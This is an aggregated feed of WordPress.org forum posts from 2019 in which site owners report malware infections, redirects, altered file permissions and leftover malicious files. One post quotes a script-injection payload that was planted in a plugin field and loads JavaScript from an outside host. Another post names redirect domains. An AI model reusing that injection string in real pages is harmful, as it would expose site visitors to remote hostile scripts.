Quantcast
Channel: Topic Tag: malware | WordPress.org
Viewing all 1906 articles
Browse latest View live
↧

Access denied – File permissions need to be reset

September 20, 2019, 3:04 pm
$
0
0

Hello all,

Hoping someone can share their experience and shed some light. My client site keeps getting the Access Denied message on the screen (4-5 times in the last few months) so I have to go in and change the file permissions back to what they should be rather than zero. I asked the host (ipower.com) why this keeps happening and they suggested some malware might be doing this. I called Sitelock who regularly scan our site for malware and they did not see any. They suggested that it might be at the host server level which they cannot reach to scan. We both got on the phone with the host, ipower.com, and the Sitelock guy asked them to find out if it was a bad chron job or if the site was “stuck” or if there was malware at their server level. ipower assured me they’d escalate the issue and I’d hear back. I’m not too confident I’ll hear anything concrete. Would they admit to malware in their server?

Has anyone else experienced this and if so, did they figure out what was causing it?

Thanks in advance!

↧
Search

Malware files appear in files

September 22, 2019, 10:13 pm
$
0
0

How do I make wordpress work well without being able to create a new files or edit a files in the entire wordpress directory? I want to avoid viruses because recently I get malware files, I deleted them, a few days later there are appear again, or a malware code lines is written to wp-settings.php, now wp-settings.php i changed chmod to wp-settings.php to nobody can write in file.
I used most populars malware clean plugins to clean wp even reinstalled whole wordpress but same result, i also have multiple wordpress on that hosting.

↧
↧

Hack related to Simple Fields?

September 24, 2019, 3:26 pm
$
0
0

I noticed today our website had problems, and yesterday it was fine. I was about to add a new post for a custom post type, the same as I had done yesterday, but I noticed none of the special fields that come from Simple Fields were where they were supposed to be on the edit page. It looked like a plain edit page.

Then I noticed all the pages on our website that used Simple Fields didn’t work – just showed header and footer but contents were empty.

I started digging and I went to the Simple Fields area in Settings and immediately noticed all of our Field Groups and Post Connectors were gone. There was just one Field Group called “test” and one “Post Connector” that had the following under name –

“><script type=text/javascript src=’https://bes.belaterbewasthere.com/corn/flex.js?tp=1$v88′></script>

That must have been put in there maliciously by a bot or hacker or something. I have no idea what that URL is, and having a JS file URL in there looks bad.

As far as I could tell, the WordPress admin showed everything else looking normal. Any Edit screens for a post type that had Simple Fields was lacking those Simple Fields. And a large portion of our pages didn’t work properly because the Simple Fields were not working.

We did have a backup that we reloaded successfully, and we’ll have more things to add back in since the last backup, but that is doable. However, we don’t know how this could have occurred and we don’t currently have a way to prevent it from happening again.

I just noticed on the plugin page –
https://wordpress.org/plugins/simple-fields/
It says in red background –
“This plugin has been closed as of September 16, 2019 and is not available for download. This closure is temporary, pending a full review.”

That is recent and it is interesting that it is a temporary closure and there will be a review. Perhaps someone is aware of a serious problem. Does anyone know more about this?

I also found in a simple-fields.com blog post that the plugin is not under development any longer. And it was even for sale. But WordPress.org shows the plugin was last updated 4 years ago so I don’t think anything nefarious could have gotten into the plugin code recently.
http://simple-fields.com/blog/

I don’t even know for sure if the Simple Fields plugin was the original vulnerability, but that is my best guess. We will check web server and network logs.

I guess if there is no short-term solution, then the long-term solution for us would be to use an alternative plugin to Simple Fields. That would be a huge undertaking.

Any input would be appreciated!

↧

Hacked website

September 25, 2019, 9:19 am
$
0
0

Hi,

During the past weeks, I have been trying to get rid of some malware I suppose.

Last month, I noticed my website was redirected to malicious websites after clicking anywhere on the page.

I ran scans with all kinds of security plugins (Wordfence, Cerber, Malcure, just to name a few…)

Except Malcure which detected malicious code in the database, none of the scans allowed to reveal malicious files on the server.

Yet, I reuploaded a clean version of wordpress except from the content folder, and I deleted weird files I could see through the FTP in the uploads folders.

With PHPmyadmin, I looked for the malicious URL my website was redirected to (dolohen.com) to see which tables were infected. Then I manually cleaned the infected tables, which were wp_posts and wp_options.

I changed my admin password, and all the editors, and authors passwords on the website. I changed the database user, and password etc.

I had tried securing the website with .htaccess (disallowing editing via wordpress, disallowing certain uploads…)

But it kept coming back…

Then I noticed another issue which was a pop-up window asking people to click to continue browsing the website (p79479.com).

So, I did the same thing all over again.

Now, my admin password has changed twice already today. I had to reset it. So, I added 2 factor authentication… I searched for the aforementioned bits of malicious codes in my database, and didn’t find anything.

Yet, I’m not sure my site is completely clean, and my host doesn’t provide those kinds of services. Thus, here I am, asking for help.

Has anyone ever dealt with dolohen.com / p79479.com hacks?

Thanks in advance for your feedback.

↧

File Change Warning, is this normal?

September 26, 2019, 12:14 pm
$
0
0

I have consistently gotten file change warnings (and warnings of brute force attacks) since I started my hobby blog over a year ago. I’ve tried different things to shore up the security but they still happen, but I also don’t know if some of the more recent file change notifications are bad or not, because I have been making a lot of changes. The most recent I got was this:

url: WP-Cron Scheduled Task
Changed:
wp-content/uploads/sucuri/sucuri-plugindata.php
wp-content/uploads/sucuri/sucuri-auditlogs.php
wp-content/uploads/sucuri/sucuri-failedlogins.php
wp-content/uploads/sucuri/sucuri-oldfailedlogins.php
wp-content/uploads/sucuri/sucuri-settings.php
wp-content/uploads/sucuri/sucuri-auditqueue.php
wp-content/uploads/sucuri/sucuri-sitecheck.php
Removed:
Added:
wp-content/uploads/siteground-optimizer-assets/twentyseventeen-customize-preview.min.js

Does this look like a problem/hack/malware?
Any input is appreciated!

↧
↧

Website Hacked ! Don’t use it !

September 27, 2019, 6:08 am
$
0
0

As other users, my website was hacked with malicious code and after that nothing was working well because I had a lot of redirects to severals websites.. I lost a week trying to solve myself all the problems.. I hope wordpress pay atention to this kind of dishonest behaviour risking people’s work !..

↧

Malware Database Infection.

October 1, 2019, 6:09 am
$
0
0

Hello,

First of all, thank you for this extraordinary theme! Maybe the best theme outside there! 🙂

I wanted not just to say thank you, but to tell you something that has happened with your theme:

My website was hacked weeks ago.. It was terrible and my site was very infected.. after a deep cleaning.. I found on my database severals websites links and I was wondering if all those links were a virus or malware from the attack.. I’ve checked some of those websites and yes.. effectively some of them were containing virus and malware. My surprise start when I noticed that those links were inserted into text written by Oceanwp / Blog.

I’ve searched portions of those texts on google and I found that were written for people participating on your blog / site. My questions are:

– Why does my Website has all those full blogs / texts inserted on my DataBase with links, some of them containing virus / malware ?? How can be possible ??
– How can I clean all those texts and where specifically they are hidden ??
– Does my website receiving those texts peridiocally ?? (I think that yes! Because some of those texts are from july and august..)
– Did you check all the people that write on your Website / Blog ??
– Is OceanWP theme really safe to use ??
– Are you using my website to redirecting people to your website ??

I would really like a good explanation because maybe I’m missing something or I’m wrong! But I’m very sure that I don’t want those “news” updated on my database with dangerous links.

Below I’ll share some texts (that you can search by yourself on google) and you’ll find your own Oceanwp blog:

When it comes to WordPress, then it is considered as one of the best content management system. It is easy to use that is the main reason why its demand is increasing day by day.

Keywords are phrases or separate words that show Google that your article is relevant to its topic. If your article’s theme is on 15 SEO tips and techniques to boost ranking on WordPress

is what sets big brands from mediocre ones. It allows you to create a recognizable brand personality across multiple channels and, above all, to build stronger relationships with your target audiences

And here I’ll share some useless links that I found on my database that came from those entire inserted blogs on my database (only open if you have an antivirus!):

[redacted – please do not post links to malware]

Thank you for your answers and support on this Topic !

↧

Why does WordPress allow outdated plugins in their directory?

October 3, 2019, 5:54 am
$
0
0

Why does WordPress allow garbage like this to still be listed in their directory? The plugin does not work and now it still redirects to my subdomain and doesn’t work even after uninstalling it.

Now, I have to comb through my database to remove the redirect to find out what it did to my file manager.

Given all the malware that’s been infesting your plugin directory – it would seem to me you folks should be on top of this crap.

↧
Search

Redirects towards ad. website

October 9, 2019, 12:43 am
$
0
0

Please check this link it will take you to an advertisement website first and on 2nd load it will take to the exact site this is an ad. malware on website due to this malware facebook is not accepting my website’s link bosspakistan.com Please anyone guide me what is this problem and how wordfence can fix this issue.
I can;t run any campaign on social media channels as url of my site is not acceptable by them due to this malware.

↧
↧

Connection with online server

October 10, 2019, 2:52 am
$
0
0

Sorry, for such dummy question. I’m not have too strong network security knowledge. Could you please explain one thing about your plugin workflow. Is it require some external connection to some online server or you malware scanner work offline ?
For example if I install it on the internal blog of our company office is it gonna work without direct internet connection ?

↧

Changing registration email address

October 10, 2019, 2:48 pm
$
0
0

Hello, there seems to be a problem with getting the lost password link that WordPress sent to my email server. Each time WordPress supposedly sent a link to my email address to reset the lost password, I never received one. This has been going on a couple of times. It seems as though my email server and WordPress do not connect (no message in the junk folder either). I didn’t pay much attention since I did not need to change my password. However, within the last 12 months my website was hacked by malware twice (the last one 3 days ago). It is becoming important to change my WordPress log In password. Since my current email address never gets the WordPress link it is probably better that I change my registration email address to another one (more reliable one0. That way I can get the link that WordPress send.So how can I change my registration email address on WordPress.org

↧

Strange url that I didn’t post coming from Bing- malware?

October 10, 2019, 11:29 pm
$
0
0

Hi, I’ve had WP for over 10 years, have several blogs with little traffic. Yet here I still am!

I just removed some nofollows I had on my blogs to stop search engines from scraping my own cartoons. However, seems like Google demands images or I won’t show up in search at all.

I noticed Palo Alto using the address url above: https://chocolatecartoons.com/boumboumboum and it’s giving a 404.

This is not a post of mine, nor an image. What is it, can you tell? I can see in search it’s the name of some song, but is this just some malicious attack, to give me 404s? Any ideas?

↧

Malware Detected?

October 11, 2019, 3:17 am
$
0
0

I did a security scan (Linux Malware Detect + ClamAV) of my wordpress files. The scan quarantined 1 file.

TOTAL FILES: 30741
TOTAL HITS: 1
TOTAL CLEANED: 0

[ deleted, don’t post that here ]

I’d love some input here… can anyone help me decode what’s happening in that line of code?

↧
↧

MALWARE FOUND

October 13, 2019, 11:41 am
$
0
0

Tous les sites où j’ai installé cette extension contenaient un malware.
Depuis que j’ai changé pour SlimStat plus de soucis !
Le malware n’affiche pas les popup de sites porno sur votre propre ordi / IP !
Merci de vérifier !

↧

“Too few arguments” in error.log

October 14, 2019, 3:01 pm
$
0
0

Hi,
I got the following warning in my error.log of iThemes Security:
“PHP Warning: printf(): Too few arguments in /home/dierenduintje/public_html/wp-content/plugins/better-wp-security/core/modules/malware/settings-page.php on line 52”
My sit is on dierenduintje.nl
Could you please tell me what I can do about it?
Thanks!
Kees Koopman

↧
Search

Symantec 30548 web attack jscoinminer website detected

October 18, 2019, 12:50 pm
$
0
0

Hi,

Recently I had a malware on my website that redirects to another site in a new tab.That behavior doesn’t do it anymore.But I am seeing this message every time there is a webiste page.

Any ideas?

↧

Malicious file found

October 18, 2019, 2:53 pm
$
0
0

Wordfence has identified a malicious file on our website. We were attacked by malware a while back, and it seems that this file is a remainder of that.

The file is present in our theme directory (WP/wp-content/themes/rttheme18/languages). The name of the file is called: EN-US.PHP. I have checked on our theme’s forum and this file should not be there. It is not a file that is part of the theme.

Does anyone know about this file and if its dangerous? I tried to remove it and then suddenly our site no longer comes up in a browser (or more accurately comes up as a blank page). When I put the file back, the site behaves normally again.

If someone has any idea of what this file is and how I can properly remove it, your assistance would be appreciated. My theme forum (RT-Theme 18 from Themeforest.com) had no words of wisdom

Thanks

Greg

↧
↧

Replacing an Open file

October 20, 2019, 4:54 am
$
0
0

We recently were hacked by malware. We repaired our site, but were unable to remove on file en-IS.php. I finally discovered why, the file header.php was edited to include a line that required the presence of the above file in our file structure.

I have the original header.php file without the line added by the hacker. If I try to simple overwrite the file I cannot becuase it is open. What is the best and most graceful way I can get the header.php file closed, so I can replace it.

Do I need to shut down my site temporarily to do this? If som How would I do that?

Thanks

Greg

↧

Google rejects my ads because of Malicious or Unwanted Software

October 21, 2019, 9:51 am
$
0
0

Hello World,

2 month ago, google started to reject my ads because of Malicious or Unwanted Software, i have contacted google, and they have given me all the url’s which they find infected. I have assigned these url’s to my developer, but he guarantees me that the sites can’t be infected. He even tried to delete one of the infected libraries, which he had local on his pc, and reloaded it back to the website, to guarentee it at no chance could be infected. However google once again pointed out that the library used was infected. Any idea of how i can fix this issue with google?

Best Regards Christian Skjøth

↧

Avoid! Filled my website with malicious malware!

October 28, 2019, 2:44 am
$
0
0

Filled my website with malicious malware!

↧
Viewing all 1906 articles
Browse latest View live
Search